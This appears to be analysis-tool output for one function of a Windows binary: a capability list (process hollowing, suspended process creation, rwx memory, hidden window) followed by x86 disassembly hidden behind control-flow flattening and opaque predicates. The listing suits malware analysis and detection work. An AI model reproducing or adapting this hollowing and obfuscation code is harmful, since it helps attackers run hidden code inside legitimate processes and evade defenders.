Function at 0x10002ac0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x150
mov eax, dword [0x1009c400]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x158], 0x2511d2c5
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x15c], eax
sub eax, 0x8012edbc
je 0x10005b4e
jmp 0x10002afc
mov eax, dword [ebp - 0x15c]
sub eax, 0x805b6f4b
je 0x10007d69
jmp 0x10002b12
mov eax, dword [ebp - 0x15c]
sub eax, 0x811c61f6
je 0x100089ec
jmp 0x10002b28
mov eax, dword [ebp - 0x15c]
sub eax, 0x81c2212a
je 0x1000570f
jmp 0x10002b3e
mov eax, dword [ebp - 0x15c]
sub eax, 0x828d4142
je 0x1000ae0b
jmp 0x10002b54
mov eax, dword [ebp - 0x15c]
sub eax, 0x82c59ac4
je 0x1000ac89
jmp 0x10002b6a
mov eax, dword [ebp - 0x15c]
sub eax, 0x83416274
je 0x100060eb
jmp 0x10002b80
mov eax, dword [ebp - 0x15c]
sub eax, 0x8401f2f3
je 0x10009790
jmp 0x10002b96
mov eax, dword [ebp - 0x15c]
sub eax, 0x85265ea3
je 0x1000b175
jmp 0x10002bac
mov eax, dword [ebp - 0x15c]
sub eax, 0x8552bbac
je 0x1000572e
jmp 0x10002bc2
mov eax, dword [ebp - 0x15c]
sub eax, 0x857a3213
je 0x100092ba
jmp 0x10002bd8
mov eax, dword [ebp - 0x15c]
sub eax, 0x85ad917c
je 0x10005cec
jmp 0x10002bee
mov eax, dword [ebp - 0x15c]
sub eax, 0x87387dfb
je 0x1000871d
jmp 0x10002c04
mov eax, dword [ebp - 0x15c]
sub eax, 0x88dae388
je 0x10008b65
jmp 0x10002c1a
mov eax, dword [ebp - 0x15c]
sub eax, 0x896a0a90
je 0x10007d2d
jmp 0x10002c30
mov eax, dword [ebp - 0x15c]
sub eax, 0x8a6ba5e4
je 0x10009d87
jmp 0x10002c46
mov eax, dword [ebp - 0x15c]
sub eax, 0x8a9b3b08
je 0x10007538
jmp 0x10002c5c
mov eax, dword [ebp - 0x15c]
sub eax, 0x8b2bed3b
je 0x100086fe
jmp 0x10002c72
mov eax, dword [ebp - 0x15c]
sub eax, 0x8c19ffc5
je 0x100076f7
jmp 0x10002c88
mov eax, dword [ebp - 0x15c]
sub eax, 0x8c65053d
je 0x100071f0
jmp 0x10002c9e
mov eax, dword [ebp - 0x15c]
sub eax, 0x8ccecf28
je 0x10007371
jmp 0x10002cb4
mov eax, dword [ebp - 0x15c]
sub eax, 0x8d22ef2b
je 0x10007dba
jmp 0x10002cca
mov eax, dword [ebp - 0x15c]
sub eax, 0x8d8a4fe9
je 0x10007cee
jmp 0x10002ce0
mov eax, dword [ebp - 0x15c]
sub eax, 0x8da257a3
je 0x10005286
jmp 0x10002cf6
mov eax, dword [ebp - 0x15c]
sub eax, 0x8dbb2d7f
je 0x10008a52
jmp 0x10002d0c
mov eax, dword [ebp - 0x15c]
sub eax, 0x8e79a6bd
je 0x10005b6d
jmp 0x10002d22
mov eax, dword [ebp - 0x15c]
sub eax, 0x8f1114e5
je 0x10005c76
jmp 0x10002d38
mov eax, dword [ebp - 0x15c]
sub eax, 0x8f19cc61
je 0x10008516
jmp 0x10002d4e
mov eax, dword [ebp - 0x15c]
sub eax, 0x90c4846c
je 0x10009c50
jmp 0x10002d64
mov eax, dword [ebp - 0x15c]
sub eax, 0x90d2524e
je 0x1000a335
jmp 0x10002d7a
mov eax, dword [ebp - 0x15c]
sub eax, 0x9116b618
je 0x1000a53b
jmp 0x10002d90
mov eax, dword [ebp - 0x15c]
sub eax, 0x9202a8d0
je 0x10007a13
jmp 0x10002da6
mov eax, dword [ebp - 0x15c]
sub eax, 0x935ab81e
je 0x100089be
jmp 0x10002dbc
mov eax, dword [ebp - 0x15c]
sub eax, 0x93c8d8f8
je 0x10008313
jmp 0x10002dd2
mov eax, dword [ebp - 0x15c]
sub eax, 0x93d26902
je 0x10009e6a
jmp 0x10002de8
mov eax, dword [ebp - 0x15c]
sub eax, 0x9493c045
je 0x1000a73f
jmp 0x10002dfe
mov eax, dword [ebp - 0x15c]
sub eax, 0x949a7212
je 0x10007c71
jmp 0x10002e14
mov eax, dword [ebp - 0x15c]
sub eax, 0x95b6621e
je 0x100092c9
jmp 0x10002e2a
mov eax, dword [ebp - 0x15c]
sub eax, 0x95b6a3f8
je 0x100067df
jmp 0x10002e40
mov eax, dword [ebp - 0x15c]
sub eax, 0x963aea90
je 0x1000a92a
jmp 0x10002e56
mov eax, dword [ebp - 0x15c]
sub eax, 0x97311440
je 0x10005641
jmp 0x10002e6c
mov eax, dword [ebp - 0x15c]
sub eax, 0x976da6db
je 0x10007aac
jmp 0x10002e82
mov eax, dword [ebp - 0x15c]
sub eax, 0x97adec28
je 0x1000808c
jmp 0x10002e98
mov eax, dword [ebp - 0x15c]
sub eax, 0x98473762
je 0x10009dd3
jmp 0x10002eae
mov eax, dword [ebp - 0x15c]
sub eax, 0x98a432e3
je 0x10009b52
jmp 0x10002ec4
mov eax, dword [ebp - 0x15c]
sub eax, 0x98faab2d
je 0x1000ad8f
jmp 0x10002eda
mov eax, dword [ebp - 0x15c]
sub eax, 0x9928cdbb
je 0x1000addc
jmp 0x10002ef0
mov eax, dword [ebp - 0x15c]
sub eax, 0x9b2531e2
je 0x100077a3
jmp 0x10002f06
mov eax, dword [ebp - 0x15c]
sub eax, 0x9b516246
je 0x10006a35
jmp 0x10002f1c
mov eax, dword [ebp - 0x15c]
sub eax, 0x9b9fc278
je 0x10007f15
jmp 0x10002f32
mov eax, dword [ebp - 0x15c]
sub eax, 0x9ba15358
je 0x1000adbd
jmp 0x10002f48
mov eax, dword [ebp - 0x15c]
sub eax, 0x9c21a654
je 0x1000ad51
jmp 0x10002f5e
mov eax, dword [ebp - 0x15c]
sub eax, 0x9cec8698
je 0x1000695e
jmp 0x10002f74
mov eax, dword [ebp - 0x15c]
sub eax, 0x9cf1236a
je 0x1000840b
jmp 0x10002f8a
mov eax, dword [ebp - 0x15c]
sub eax, 0x9d04d784
je 0x1000b18a
jmp 0x10002fa0
mov eax, dword [ebp - 0x15c]
sub eax, 0x9d173c5f
je 0x10008390
jmp 0x10002fb6
mov eax, dword [ebp - 0x15c]
sub eax, 0x9d6761c8
je 0x10008c4d
jmp 0x10002fcc
mov eax, dword [ebp - 0x15c]
sub eax, 0x9de48a69
je 0x100072bb
jmp 0x10002fe2
mov eax, dword [ebp - 0x15c]
sub eax, 0x9e2df27f
je 0x1000ad32
jmp 0x10002ff8
mov eax, dword [ebp - 0x15c]
sub eax, 0x9e98a960
je 0x1000abc0
jmp 0x1000300e
mov eax, dword [ebp - 0x15c]
sub eax, 0x9ec51db9
je 0x10005391
jmp 0x10003024
mov eax, dword [ebp - 0x15c]
sub eax, 0x9f5383fd
je 0x1000a9e2
jmp 0x1000303a
mov eax, dword [ebp - 0x15c]
sub eax, 0x9fbf4c54
je 0x10006e24
jmp 0x10003050
mov eax, dword [ebp - 0x15c]
sub eax, 0xa00bf561
je 0x1000a721
jmp 0x10003066
mov eax, dword [ebp - 0x15c]
sub eax, 0xa0a809d6
je 0x100054d2
mov eax, dword [0x1009d728]
mov ecx, dword [0x1009d724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe8d95d7b
mov ecx, 0x40e30d0c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov dword [ebp - 0x158], 0x3e335714
jmp 0x1000b20f
mov eax, dword [0x1009d728]
mov ecx, dword [0x1009d724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5d00ac09
mov ecx, 0x6ff2adb3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
movss xmm0, dword [0x10018370]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x158], 0x8552bbac
jmp 0x1000b20f
movss xmm0, dword [0x1001836c]
movss dword [ebp - 0x120], xmm0
movss xmm0, dword [0x10018368]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x158], 0x7108ece
jmp 0x1000b20f
movss xmm0, dword [0x10018358]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x158], 0x8e79a6bd
jmp 0x1000b20f
mov ecx, dword [0x1009d728]
mov eax, dword [0x1009d724]
mov edx, ecx
sub edx, 0x4a3d23d7
sub edx, 1
add edx, 0x4a3d23d7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x224dd0eb
mov ecx, 0x6a7cd383
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov ecx, dword [0x1009d728]
mov eax, dword [0x1009d724]
mov edx, ecx
add edx, 0x7bda94b7
sub edx, 1
sub edx, 0x7bda94b7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x16cb37a3
mov ecx, 0x85ad917c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
movss xmm0, dword [0x10018208]
movss dword [ebp - 0x120], xmm0
mov eax, dword [0x1009d728]
mov ecx, dword [0x1009d724]
mov edx, eax
add edx, 0xf8c50b1d
sub edx, 1
sub edx, 0xf8c50b1d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x16cb37a3
mov ecx, 0xc6101e59
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov dl, 1
mov eax, 0xc8419308
mov ecx, 0xffa3b309
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
movss xmm0, dword [0x10018300]
movss dword [ebp - 0x128], xmm0
mov dl, 1
mov eax, 0x3fa9d3d5
mov ecx, 0x3c406df1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov eax, dword [0x1009d728]
mov ecx, dword [0x1009d724]
mov edx, eax
sub edx, 0xfcf78db7
sub edx, 1
add edx, 0xfcf78db7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x65ca9c33
mov ecx, 0x4296ea81
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov dword [ebp - 0x158], 0x1842b7e3
jmp 0x1000b20f
mov dword [ebp - 0x158], 0xa4e82cff
jmp 0x1000b20f
movss xmm0, dword [0x100181d8]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x100181d4]
movss dword [ebp - 0x12c], xmm0
mov ecx, dword [0x1009d728]
mov eax, dword [0x1009d724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x35f90d8e
mov ecx, 0x6e5ff69c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov dl, 1
mov eax, 0xc3ea31ac
mov ecx, 0xb23a0ee1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov ecx, dword [0x1009d728]
mov eax, dword [0x1009d724]
mov edx, ecx
add edx, 0xe4aac11d
sub edx, 1
sub edx, 0xe4aac11d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9e98a960
mov ecx, 0xfc67df63
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov ecx, dword [0x1009d728]
mov eax, dword [0x1009d724]
mov edx, ecx
add edx, 0x86c3bd38
sub edx, 1
sub edx, 0x86c3bd38
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x75c5e7bd
mov ecx, 0xa25324ad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
movss xmm0, dword [0x10018298]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x158], 0x6d3115f1
jmp 0x1000b20f
movss xmm0, dword [0x100181c8]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x100181c4]
movss dword [ebp - 0x130], xmm0
mov eax, dword [0x1009d728]
mov ecx, dword [0x1009d724]
mov edx, eax
add edx, 0x1b08249a
sub edx, 1
sub edx, 0x1b08249a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1518cf1c
mov ecx, 0xfb2fb193
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
movss xmm0, dword [0x1001828c]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x158], 0xda1aeeb8
jmp 0x1000b20f
mov ecx, dword [0x1009d728]
mov eax, dword [0x1009d724]
mov edx, ecx
sub edx, 0xdf1bbe
sub edx, 1
add edx, 0xdf1bbe
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6283ba3b
mov ecx, 0x29edd776
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov ecx, dword [0x1009d728]
mov eax, dword [0x1009d724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x82c59ac4
mov ecx, 0xe1893adc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
movss xmm0, dword [0x10018274]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x10018270]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x1001826c]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x158], 0x896a0a90
jmp 0x1000b20f
mov dl, 1
mov eax, 0x5215237f
mov ecx, 0x15f7754
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov eax, dword [0x1009d728]
mov ecx, dword [0x1009d724]
mov edx, eax
add edx, 0x6f06dc8
sub edx, 1
sub edx, 0x6f06dc8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2b48713c
mov ecx, 0x8d22ef2b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
movss xmm0, dword [0x100181b8]
movss dword [ebp - 0x134], xmm0
mov ecx, dword [0x1009d728]
mov eax, dword [0x1009d724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2b48713c
mov ecx, 0xf1d3607b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov ecx, dword [0x1009d728]
mov eax, dword [0x1009d724]
mov edx, ecx
sub edx, 0x3ab1a7b9
sub edx, 1
add edx, 0x3ab1a7b9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x239779d6
mov ecx, 0x558b46c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov eax, dword [0x1009d728]
mov ecx, dword [0x1009d724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa6424441
mov ecx, 0xdedb11d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov ecx, dword [0x1009d728]
mov eax, dword [0x1009d724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4dce669
mov ecx, 0xbae07f1a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
movss xmm0, dword [0x10018240]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x1001823c]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x10018238]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x158], 0x2a750d9c
jmp 0x1000b20f
mov ecx, dword [0x1009d728]
mov eax, dword [0x1009d724]
mov edx, ecx
sub edx, 0xecd95c78
sub edx, 1
add edx, 0xecd95c78
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9e2df27f
mov ecx, 0x20db7535
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
movss xmm0, dword [0x10018230]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x158], 0x641a9c9f
jmp 0x1000b20f
movss xmm0, dword [0x1001822c]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x158], 0x87387dfb
jmp 0x1000b20f
mov ecx, dword [0x1009d728]
mov eax, dword [0x1009d724]
mov edx, ecx
sub edx, 0x1acf4a91
sub edx, 1
add edx, 0x1acf4a91
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x98faab2d
mov ecx, 0x21fcf57b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov dword [ebp - 0x158], 0x4640eeca
jmp 0x1000b20f
mov dl, 1
mov eax, 0x3151c1e5
mov ecx, 0x6d157d0a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
movss xmm0, dword [0x10018194]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x10018190]
movss dword [ebp - 0x138], xmm0
mov ecx, dword [0x1009d728]
mov eax, dword [0x1009d724]
mov edx, ecx
sub edx, 0x22413de7
sub edx, 1
add edx, 0x22413de7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9928cdbb
mov ecx, 0x68d7107
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov ecx, dword [0x1009d728]
mov eax, dword [0x1009d724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x828d4142
mov ecx, 0xc6badd33
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov dword [ebp - 0x158], 0x586dc304
jmp 0x1000b20f
mov dword [ebp - 0x158], 0x95b6621e
jmp 0x1000b20f
mov eax, dword [ebp - 0xd0]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, eax
mov eax, 0x222107db
mov ecx, 0x4f28f586
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov eax, dword [ebp - 0xbc]
movzx esi, word [eax]
mov edx, dword [ebp - 0xc0]
mov eax, 0xa4b6656c
mov ecx, 0x82349ea
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov ecx, dword [0x1009d728]
mov eax, dword [0x1009d724]
mov edx, ecx
sub edx, 0x8f50c777
sub edx, 1
add edx, 0x8f50c777
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xda1be592
mov ecx, 0x25e4c4ba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov dword [ebp - 0x158], 0xc1fe0c04
jmp 0x1000b20f
mov edx, dword [ebp - 0x98]
mov eax, 0x28e515bd
mov ecx, 0x7c2850d
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov dl, byte [ebp - 0x92]
mov eax, 0x28e515bd
mov ecx, 0xe1c61a6e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov ecx, dword [0x1009d728]
mov eax, dword [0x1009d724]
mov edx, ecx
add edx, 0x56f9bb08
sub edx, 1
sub edx, 0x56f9bb08
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6edec1fd
mov ecx, 0x3b1d17fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov eax, dword [ebp - 0xf0]
mov edx, dword [eax]
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov ecx, dword [0x1009d728]
mov eax, dword [0x1009d724]
mov edx, ecx
sub edx, 0x64639405
sub edx, 1
add edx, 0x64639405
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc2ce7d47
mov ecx, 0xbe99e3a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x158], eax
jmp 0x1000b20f
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov edx, dword [eax + 4]
mov ecx, dword [ebp - 0x70]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov dword [ebp - 0x158], 0x5780b5e6
jmp 0x1000b20f
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x158], 0x9493c045
jmp 0x1000b20f
mov dword [ebp - 0x158], 0x779289c1
jmp 0x1000b20f
mov dword [ebp - 0x158], 0xa78cb116
jmp 0x1000b20f
movss xmm0, dword [0x10018204]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x158], 0x710247f0
jmp 0x1000b20f
movss xmm0, dword [0x100181d0]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x158], 0xfc67df63
jmp 0x1000b20f
mov dword [ebp - 0x158], 0x949a7212
jmp 0x1000b20f
movss xmm0, dword [0x100181a8]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x158], 0x20db7535
jmp 0x1000b20f
mov dword [ebp - 0x158], 0x63e5d4c4
jmp 0x1000b20f
mov dword [ebp - 0x158], 0x21fcf57b
jmp 0x1000b20f
movss xmm0, dword [0x10018198]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x158], 0xcf8cc7f0
jmp 0x1000b20f
movss xmm0, dword [0x10018194]
movss dword [ebp - 0x138], xmm0
movss xmm0, dword [0x10018190]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x158], 0x8dbb2d7f
jmp 0x1000b20f
mov dword [ebp - 0x158], 0x88dae388
jmp 0x1000b20f
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x158], 0x2fa5789
jmp 0x1000b20f
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x158], 0xea6d3bab
jmp 0x1000b20f
jmp 0x10002ae0